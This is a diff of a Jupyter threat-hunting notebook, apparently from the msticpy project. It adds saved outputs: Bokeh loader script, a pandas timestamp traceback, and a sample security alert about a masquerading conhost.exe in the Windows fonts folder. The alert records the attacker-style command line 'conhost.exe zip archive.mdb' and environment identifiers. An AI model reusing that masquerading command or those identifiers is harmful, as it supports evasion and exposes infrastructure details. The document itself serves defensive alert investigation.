false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"1001\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };var element = document.getElementById(\"1001\");\n", + " if (element == null) {\n", + " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '1001' but no matching script tag was found. \")\n", + " return false;\n", + " }\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1001\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };var element = document.getElementById(\"1001\");\n if (element == null) {\n console.error(\"Bokeh: ERROR: autoload.js configured with elementid '1001' but no matching script tag was found. \")\n return false;\n }\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "ename": "TypeError", + "evalue": "Cannot compare tz-naive and tz-aware timestamps", + "output_type": "error", + "traceback": [ + "\u001b[1;31m---------------------------------------------------------------------------\u001b[0m", + "\u001b[1;31mTypeError\u001b[0m Traceback (most recent call last)", + "\u001b[1;32m\u001b[0m in \u001b[0;36m\u001b[1;34m\u001b[0m\n\u001b[0;32m 26\u001b[0m \u001b[1;32mif\u001b[0m \u001b[0mlen\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mhost_alert_items\u001b[0m\u001b[1;33m)\u001b[0m \u001b[1;33m>\u001b[0m \u001b[1;36m1\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 27\u001b[0m nbdisplay.display_timeline(\n\u001b[1;32m---> 28\u001b[1;33m \u001b[0mdata\u001b[0m\u001b[1;33m=\u001b[0m\u001b[0mrelated_alerts\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mtitle\u001b[0m\u001b[1;33m=\u001b[0m\u001b[1;34m\"Alerts\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0msource_columns\u001b[0m\u001b[1;33m=\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;34m\"AlertName\"\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mheight\u001b[0m\u001b[1;33m=\u001b[0m\u001b[1;36m200\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 29\u001b[0m )\n\u001b[0;32m 30\u001b[0m \u001b[1;32melse\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", + "\u001b[1;32me:\\src\\microsoft\\msticpy\\msticpy\\nbtools\\timeline.py\u001b[0m in \u001b[0;36mdisplay_timeline\u001b[1;34m(data, time_column, source_columns, **kwargs)\u001b[0m\n\u001b[0;32m 182\u001b[0m \u001b[0mcolor\u001b[0m\u001b[1;33m=\u001b[0m\u001b[0mkwargs\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mget\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;34m\"color\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;34m\"navy\"\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 183\u001b[0m )\n\u001b[1;32m--> 184\u001b[1;33m \u001b[1;32mreturn\u001b[0m \u001b[0m_display_timeline_dict\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdata\u001b[0m\u001b[1;33m=\u001b[0m\u001b[0mseries_dict\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m**\u001b[0m\u001b[0mkwargs_sub\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 185\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 186\u001b[0m \u001b[1;32mif\u001b[0m \u001b[0misinstance\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdata\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mdict\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", + "\u001b[1;32me:\\src\\microsoft\\msticpy\\msticpy\\nbtools\\timeline.py\u001b[0m in \u001b[0;36m_display_timeline_dict\u001b[1;34m(data, **kwargs)\u001b[0m\n\u001b[0;32m 463\u001b[0m \u001b[0mhide\u001b[0m\u001b[1;33m:\u001b[0m \u001b[0mbool\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mkwargs\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mpop\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;34m\"hide\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;32mFalse\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 464\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 465\u001b[1;33m \u001b[0mtool_tip_columns\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mmin_time\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mmax_time\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0m_unpack_data_series_dict\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdata\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m**\u001b[0m\u001b[0mkwargs\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 466\u001b[0m \u001b[0mseries_count\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mlen\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdata\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 467\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n", + "\u001b[1;32me:\\src\\microsoft\\msticpy\\msticpy\\nbtools\\timeline.py\u001b[0m in \u001b[0;36m_unpack_data_series_dict\u001b[1;34m(data, **kwargs)\u001b[0m\n\u001b[0;32m 623\u001b[0m \u001b[0mseries_def\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;34m\"time_column\"\u001b[0m\u001b[1;33m]\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mtime_col\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 624\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 625\u001b[1;33m \u001b[0mmin_time\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mmin\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mmin_time\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mseries_data\u001b[0m\u001b[1;33m[\u001b[0m\u001b[0mtime_col\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mmin\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 626\u001b[0m \u001b[0mmax_time\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mmax\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mmax_time\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mseries_data\u001b[0m\u001b[1;33m[\u001b[0m\u001b[0mtime_col\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mmax\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 627\u001b[0m \u001b[0mdata_columns\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mupdate\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m[\u001b[0m\u001b[0mtime_col\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", + "\u001b[1;32mpandas/_libs/tslibs/c_timestamp.pyx\u001b[0m in \u001b[0;36mpandas._libs.tslibs.c_timestamp._Timestamp.__richcmp__\u001b[1;34m()\u001b[0m\n", + "\u001b[1;32mpandas/_libs/tslibs/c_timestamp.pyx\u001b[0m in \u001b[0;36mpandas._libs.tslibs.c_timestamp._Timestamp._assert_tzawareness_compat\u001b[1;34m()\u001b[0m\n", + "\u001b[1;31mTypeError\u001b[0m: Cannot compare tz-naive and tz-aware timestamps" + ] + } + ], "source": [ "\n", "related_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", @@ -469,19 +1397,315 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 12, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:29:19.615661Z", "start_time": "2020-05-15T23:29:19.546661Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/markdown": [ + "### Click on alert to view details." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "6d71440a13d144dc8baf34a8ddaa533b", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "Checkbox(value=True, description='Center subsequent query times round selected Alert?', layout=Layout(width='9…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "7f12615d07c24bc695a591542c6ebab6", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "
" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "

Alert: 'Suspicious system process executed'

\n", + " Alert_time: 2019-02-14 11:51:38,\n", + " Compr_entity: MSTICAlertsWin1,\n", + " Alert_id: 2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
2
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-14 11:52:06
AlertDisplayNameSuspicious system process executed
AlertNameSuspicious system process executed
SeverityMedium
DescriptionThe system process c:\\windows\\fonts\\conhost.exe was observed running in an abnormal context. Malware often use this process name to masquerade its malicious activity.
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalId65a3fe73-0832-427a-aab3-06edc2c27f0a
SystemAlertId2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSuspiciousSystemProcess
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-14 11:51:38
EndTimeUtc2019-02-14 11:51:38
ProcessingEndTime2019-02-14 11:52:07
RemediationSteps[\\r\\n \"1. Run Process Explorer and try to identify unknown running processes (see https://technet.microsoft.com/en-us/sysinternals/bb896653.aspx)\",\\r\\n \"2. Make sure the machine is completely updated and has an updated anti-malware application installed\",\\r\\n \"3. Run a full anti-malware scan and verify that the threat was removed\",\\r\\n \"4. Install and run Microsoft’s Malicious Software Removal Tool (see https://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx)\",\\r\\n \"5. Run Microsoft’s Autoruns utility and try to identify unknown applications that are configured to run at login (see https://technet.microsoft.com/en-us/sysinternals/bb963902.aspx)\"\\r\\n]
ExtendedProperties{'domain name': 'MSTICAlertsWin1', 'user name': 'MSTICALERTSWIN1\\MSTICAdmin', 'process name': 'c:\\windows\\fonts\\conhost.exe', 'command line': 'c:\\windows\\fonts\\conhost.exe zip archive.mdb', 'parent process': 'rundll32.exe', 'process id': '0x119c', 'account logon id': '0x78225e', 'User SID': 'S-1-5-21-996632719-2361334927-4038480536-500', 'parent process id': '0x12b0', 'System Process': 'CONHOST.EXE', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'OSVersion': 'Windows', 'IsDomainJoined': False, 'Type': 'host'}, {'$id': '5', 'Directory': 'c:\\w!ndows\\system32', 'Name': 'rundll32.exe', 'Type': 'file'}, {'$id': '6', 'ProcessId': '0x12b0', 'CommandLine': '', 'ImageFile': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '7', 'Name': 'MSTICAdmin', 'NTDomain': 'MSTICAlertsWin1', 'Host': {'$ref': '4'}, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'IsDomainJoined': False, 'Type': 'account', 'LogonId': '0x78225e'}, {'$id': '8', 'Directory': 'c:\\windows\\fonts', 'Name': 'conhost.exe', 'Type': 'file'}, {'$id': '9', 'ProcessId': '0x119c', 'CommandLine': 'c:\\windows\\fonts\\conhost.exe zip archive.mdb', 'ElevationToken': 'Default', 'CreationTimeUtc': '2019-02-14T11:51:38.4888669Z', 'ImageFile': {'$ref': '8'}, 'Account': {'$ref': '7'}, 'ParentProcess': {'$ref': '6'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '10', 'SessionId': '0x78225e', 'StartTimeUtc': '2019-02-14T11:51:38.4888669Z', 'EndTimeUtc': '2019-02-14T11:51:38.4888669Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '7'}}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
ComputerMSTICAlertsWin1
src_hostnameMSTICAlertsWin1
src_accountname
src_procname
host_matchTrue
acct_matchFalse
proc_matchFalse
CompromisedEntityMSTICAlertsWin1

ExtendedProperties:

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0
domain nameMSTICAlertsWin1
user nameMSTICALERTSWIN1\\MSTICAdmin
process namec:\\windows\\fonts\\conhost.exe
command linec:\\windows\\fonts\\conhost.exe zip archive.mdb
parent processrundll32.exe
process id0x119c
account logon id0x78225e
User SIDS-1-5-21-996632719-2361334927-4038480536-500
parent process id0x12b0
System ProcessCONHOST.EXE
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\rundll32.exe',, 'Name': 'rundll32.exe',, 'Type': 'file'}
{ 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\rundll32.exe',, 'Name': 'rundll32.exe',, 'Type': 'file'},, 'ProcessId': '0x12b0',, 'Type': 'process'}
{ 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x78225e',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\fonts',, 'FullPath': 'c:\\\\windows\\\\fonts\\\\conhost.exe',, 'Name': 'conhost.exe',, 'Type': 'file'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x78225e',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'CommandLine': 'c:\\\\windows\\\\fonts\\\\conhost.exe zip archive.mdb',, 'CreationTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'ElevationToken': 'Default',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\fonts',, 'FullPath': 'c:\\\\windows\\\\fonts\\\\conhost.exe',, 'Name': 'conhost.exe',, 'Type': 'file'},, 'ParentProcess': { 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\rundll32.exe',, 'Name': 'rundll32.exe',, 'Type': 'file'},, 'ProcessId': '0x12b0',, 'Type': 'process'},, 'ProcessId': '0x119c',, 'Type': 'process'}
